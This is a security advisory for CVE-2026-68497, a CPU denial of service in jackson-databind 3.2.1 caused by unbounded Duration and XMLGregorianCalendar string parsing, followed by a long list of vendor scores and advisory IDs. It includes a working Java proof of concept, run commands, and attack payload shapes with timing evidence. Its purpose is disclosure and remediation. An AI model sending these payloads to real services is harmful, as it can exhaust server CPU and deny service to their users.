CVE-2026-68497
ADVISORY - githubSummary
Summary
jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into java.math.BigInteger / BigDecimal using the native BigInteger(String) constructor (an O(n²) parser). Because the digits reside inside a JSON string token, jackson-core's StreamReadConstraints.maxNumberLength guard (which bounds only JSON number tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default JsonMapper.builder().build() mapper with no polymorphic typing or special configuration.
Details
StreamReadConstraints.maxNumberLength (jackson-core, default 1000) bounds the text length of JSON number tokens only; it does not apply to digits inside a JSON string token (maxStringLength default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — NumberDeserializers explicitly call streamReadConstraints().validateIntegerLength(text.length()) / validateFPLength(text.length()) before parsing a stringified number (NumberDeserializers.java:1063, :1139). The XML-datatype deserializer omits this identical pre-check.
CoreXMLDeserializers registers Std deserializers by default for any field typed javax.xml.datatype.Duration or XMLGregorianCalendar (findBeanDeserializer), with no opt-in required. Std._deserialize hands the attacker string straight to the datatype factory:
protected Object _deserialize(String value, DeserializationContext ctxt) {
switch (_kind) {
case TYPE_DURATION:
return _dataTypeFactory.newDuration(value); // attacker lexical string
case TYPE_G_CALENDAR:
Date d;
try { d = _parseDate(value, ctxt); }
catch (DatabindException e) {
return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string
}
return _gregorianFromDate(ctxt, d);
}
throw new IllegalStateException();
}
Per the XSD lexical rules, newDuration parses each numeric component (years, months, …) into a BigInteger, and newXMLGregorianCalendar parses fractional seconds into a BigDecimal. The JDK uses the native BigInteger(String) / BigDecimal(String) constructors, which are O(n²) in the digit count. A short JSON string such as "P" + "9"×N + "Y" therefore forces the allocation and O(N²) parse of an N-digit BigInteger, entirely downstream of every jackson-core constraint.
Vulnerable Code Location
src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137—newDuration(value)(TYPE_DURATION)src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147—newXMLGregorianCalendar(value)(TYPE_G_CALENDAR fallback)- Registration (default, no opt-in):
src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46(findBeanDeserializerreturnsStdforXMLGregorianCalendar/Duration) - Contrast — correct length-guard pattern already used elsewhere in the library:
src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139
Proof of Concept
PoC source (Vuln07_DurationDoS.java). It uses only the public ObjectMapper.readValue API and a default mapper; the only "special" element is a normal DTO exposing a javax.xml.datatype.Duration field.
package com.poc;
import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import javax.xml.datatype.Duration;
/**
* Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization.
* A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration.
*/
public class Vuln07_DurationDoS {
public static class Cfg { public Duration ttl; }
public static void main(String[] args) throws Exception {
ObjectMapper mapper = JsonMapper.builder().build();
int digits = Integer.getInteger("digits", 5_000_000);
// Baseline small parse.
long t0 = System.nanoTime();
mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class);
long tBase = System.nanoTime() - t0;
System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms");
String big = "P" + "9".repeat(digits) + "Y";
String json = "{\"ttl\":\"" + big + "\"}";
System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)");
long t1 = System.nanoTime();
try {
Cfg c = mapper.readValue(json, Cfg.class);
long dt = System.nanoTime() - t1;
System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger");
System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a "
+ json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)");
} catch (Throwable t) {
long dt = System.nanoTime() - t1;
System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage());
}
}
}
Minimal HTTP-shaped payload (what an attacker sends):
{ "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000
An XMLGregorianCalendar field is equally affected via the fractional-seconds path, e.g.
{ "at": "0000-01-01T00:00:00." + "9"×N }.
Execution Steps
The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain javac/java (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache ~/.m2, but any copy works).
# 0. Locate the three dependency jars (published Maven artifacts).
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"
# If not already cached, fetch them once, e.g.:
# mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1
# (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)
# 1. Compile with javac (single source file).
mkdir -p out
javac -cp "$CP" -d out src/main/java/com/poc/Vuln07_DurationDoS.java
# 2. Quick confirmation (~11 s): 1,000,000-digit year component.
java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS
# 3. Full-severity demonstration (~293 s): 5,000,000-digit year component.
java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS
The digits system property controls the number of 9 characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 maxStringLength to scale cost further.
Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default JsonMapper.builder().build().
Reproduction Evidence
Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:
digits = 5,000,000 (~5 MB payload):
Baseline (P1Y) parse: 27 ms
Payload JSON size ~ 5000012 bytes (year component = 5000000 digits)
Parsed giant Duration in 293175 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)
digits = 1,000,000 (~1 MB payload, for fast repeatability):
Baseline (P1Y) parse: 53 ms
Payload JSON size ~ 1000012 bytes (year component = 1000000 digits)
Parsed giant Duration in 11155 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)
Interpretation: a normal "P1Y" value parses in tens of milliseconds; a 1 MB attacker payload consumes **11 s** and a 5 MB payload **293 s** of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) BigInteger(String) constructor. The cost occurs inside DatatypeFactory.newDuration, downstream of jackson-core's StreamReadConstraints (independently confirmed: the same digit sequence supplied as a bare JSON number token is rejected with StreamConstraintsException, whereas inside a string token it is not bounded).
Impact
An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large BigInteger/BigDecimal from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a javax.xml.datatype.Duration or XMLGregorianCalendar field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.
Recommended Fix
Apply the same validate-length-then-parse idiom the core NumberDeserializers already use:
- In
CoreXMLDeserializers.Std._deserialize, enforce a maximum raw-string length before callingnewDuration(value)/newXMLGregorianCalendar(value)— e.g. reject inputs longer thanctxt.streamReadConstraints().getMaxNumberLength()(or a dedicated bound), routing over-length input throughctxt.handleWeirdStringValue(...). - Alternatively, validate the lexical form against a bounded regex and cap the digit count
of each numeric component before delegating to
DatatypeFactory. - Document that
Duration/XMLGregorianCalendarfields bound from untrusted input must be length-limited at the transport layer.
Common Weakness Enumeration (CWE)
Uncontrolled Resource Consumption
NIST
CVSS SCORE
7.5highGitHub
3.9
CVSS SCORE
7.5highDebian
-
Ubuntu
-
CVSS SCORE
N/AmediumAlma
-
CVSS SCORE
N/AhighRocky
-
CVSS SCORE
N/AhighRocky
-
CVSS SCORE
N/AhighOracle
-
CVSS SCORE
N/AhighOracle
-
CVSS SCORE
N/AhighChainguard
CGA-xjm3-vh3w-hgfq
-
minimos
MINI-2295-wrfw-76fw
-
minimos
MINI-24xg-269q-ff5p
-
minimos
MINI-27gg-8qcf-rp27
-
minimos
MINI-29wg-j66p-6jr3
-
minimos
MINI-2cp4-gqhc-89wv
-
minimos
MINI-2g98-rq8m-fgg5
-
minimos
MINI-2m6h-xr6c-j8cv
-
minimos
MINI-2w69-gcp9-5gcx
-
minimos
MINI-38pf-9h32-rwrc
-
minimos
MINI-42x4-2w2r-c8mp
-
minimos
MINI-49r9-4c88-gv8m
-
minimos
MINI-4rqm-7cxv-9mvj
-
minimos
MINI-5cg6-h2j2-8wgq
-
minimos
MINI-5h6w-hq2r-jh6p
-
minimos
MINI-62qv-8x27-p928
-
minimos
MINI-64qm-mvfc-7j28
-
minimos
MINI-6c6x-57q6-pf23
-
minimos
MINI-6v8x-96m9-pw59
-
minimos
MINI-73vp-q298-527x
-
minimos
MINI-7746-rhp9-96m7
-
minimos
MINI-78rf-f6pw-6jxc
-
minimos
MINI-7r64-7r5c-whr9
-
minimos
MINI-83vc-7mp9-4jc5
-
minimos
MINI-8gwc-h382-qr8v
-
minimos
MINI-8vxh-jp48-4525
-
minimos
MINI-8w7r-4vxg-63v6
-
minimos
MINI-92j9-c785-2ph6
-
minimos
MINI-96p8-7mh2-x32x
-
minimos
MINI-9fj7-w54x-2cj8
-
minimos
MINI-9fmv-6hvx-jwg3
-
minimos
MINI-9jm2-8w6r-w5jm
-
minimos
MINI-9q66-gqg8-pxq7
-
minimos
MINI-9rgh-47f2-mv2p
-
minimos
MINI-9wq6-7wh3-53mx
-
minimos
MINI-c366-5c3r-hv6j
-
minimos
MINI-c59w-phrr-pvf2
-
minimos
MINI-c7hh-8vm3-8px9
-
minimos
MINI-c9rr-5fh4-qj8j
-
minimos
MINI-f86r-xv8c-rc54
-
minimos
MINI-f8jg-jc9j-7hr7
-
minimos
MINI-f935-9hgf-gqxh
-
minimos
MINI-fcfx-8q9c-8464
-
minimos
MINI-fcj4-6f47-7fqm
-
minimos
MINI-fcxx-8rf4-q88q
-
minimos
MINI-fqjg-p26f-2qfq
-
minimos
MINI-g56h-586f-2gp7
-
minimos
MINI-g879-h476-pwmm
-
minimos
MINI-gff2-563p-2wxm
-
minimos
MINI-gfvx-4vcj-3h9p
-
minimos
MINI-ghv8-pgpc-4v56
-
minimos
MINI-gjch-4mqf-gp4q
-
minimos
MINI-gw79-x2v5-xcxq
-
minimos
MINI-h9x7-qmxc-q3fw
-
minimos
MINI-j5m4-rg26-2w2m
-
minimos
MINI-j99f-q323-q9w7
-
minimos
MINI-j9c5-9fx8-p25c
-
minimos
MINI-jgff-xr69-jg5r
-
minimos
MINI-jj94-v56v-rxp2
-
minimos
MINI-jvrc-6qfw-54qv
-
minimos
MINI-jwc5-7rgp-c23c
-
minimos
MINI-jxg5-grmc-gmq5
-
minimos
MINI-jxjx-gxmw-pq7m
-
minimos
MINI-m838-q768-5h3v
-
minimos
MINI-mc47-m394-9rp8
-
minimos
MINI-mgrv-vx7w-36mg
-
minimos
MINI-mrfh-wf48-mwc2
-
minimos
MINI-p3m3-83fh-q9j6
-
minimos
MINI-p4g2-mj3f-gj9w
-
minimos
MINI-p96m-jg5q-8rgx
-
minimos
MINI-pf6f-3qrg-3r53
-
minimos
MINI-pjgx-vvc8-qc72
-
minimos
MINI-pm2w-rggq-7wcp
-
minimos
MINI-pr62-j9rp-8w2g
-
minimos
MINI-q2rx-7cmv-6jmm
-
minimos
MINI-qf85-h3v6-x4m8
-
minimos
MINI-qgfx-v3v8-hjw6
-
minimos
MINI-qhcg-pc66-rp4h
-
minimos
MINI-qpq4-9942-r4p6
-
minimos
MINI-qrgj-44cm-vjf6
-
minimos
MINI-qxv4-xxv4-m2hh
-
minimos
MINI-r372-jx3w-69mq
-
minimos
MINI-r9v2-xfq5-8qgq
-
minimos
MINI-rpv7-wgp2-j8vh
-
minimos
MINI-rqxj-2hf5-4j5m
-
minimos
MINI-rrq4-rgvx-x967
-
minimos
MINI-rrrj-59c2-9h5x
-
minimos
MINI-v7p2-cj3g-vh55
-
minimos
MINI-vj3c-m258-pcx8
-
minimos
MINI-vmh4-qxph-r6j8
-
minimos
MINI-vq2f-r2qw-rq7v
-
minimos
MINI-vv95-r54x-65cx
-
minimos
MINI-w259-whf4-9g4x
-
minimos
MINI-w436-8m72-26m3
-
minimos
MINI-w489-qm5g-7xqv
-
minimos
MINI-w532-j87q-5q3p
-
minimos
MINI-w5qm-q23x-6j39
-
minimos
MINI-w5xc-4hvh-pm3c
-
minimos
MINI-w77h-hv52-j898
-
minimos
MINI-wj2j-c5fv-pmww
-
minimos
MINI-wjpx-6gpv-vq35
-
minimos
MINI-x2hp-vcqw-55hv
-
minimos
MINI-x58r-cfg2-5qcf
-
minimos
MINI-x5c4-wq32-9mp8
-
minimos
MINI-x9wq-qm45-g52q
-
minimos
MINI-xmhw-mhrh-8fc8
-
minimos
MINI-xp68-hcj3-c29v
-
minimos
MINI-xpxg-8j24-wv66
-
minimos
MINI-xvrq-5w3g-9g24
-
minimos
MINI-xxrp-r2jq-7pff
-